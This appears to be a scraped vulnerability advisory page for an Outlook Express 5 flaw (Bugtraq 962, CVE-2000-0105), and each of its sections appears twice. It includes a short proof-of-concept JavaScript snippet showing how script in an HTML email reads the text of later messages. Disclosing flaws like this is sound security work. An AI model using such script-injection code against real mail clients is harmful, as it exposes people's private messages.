MS Outlook Express 5 Javascript Email Access Vulnerability
BID:962
Info
MS Outlook Express 5 Javascript Email Access Vulnerability
| Bugtraq ID: | 962 |
| Class: | Access Validation Error |
| CVE: |
CVE-2000-0105 |
| Remote: | Yes |
| Local: | Yes |
| Published: | Feb 01 2000 12:00AM |
| Updated: | Jul 11 2009 01:56AM |
| Credit: | Posted to Bugtraq on February 1, 2000 by Georgi Guninski <[email protected]>. |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
MS Outlook Express 5 Javascript Email Access Vulnerability
Microsoft Outlook Express 5, and possibly other email clients that parse HTML messages, can be made to run Active Scripting that will read any new messages that arrive after the hostile code has been run.
Microsoft Outlook Express 5, and possibly other email clients that parse HTML messages, can be made to run Active Scripting that will read any new messages that arrive after the hostile code has been run.
Exploit / POC
MS Outlook Express 5 Javascript Email Access Vulnerability
Example code:
<SCRIPT>
a=window.open("about:<A HREF='javascript:alert(x.body.innerText)' >Click here to see the active message</A>");
a.x=window.document;
</SCRIPT>
Example code:
<SCRIPT>
a=window.open("about:<A HREF='javascript:alert(x.body.innerText)' >Click here to see the active message</A>");
a.x=window.document;
</SCRIPT>
Solution / Fix
MS Outlook Express 5 Javascript Email Access Vulnerability
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].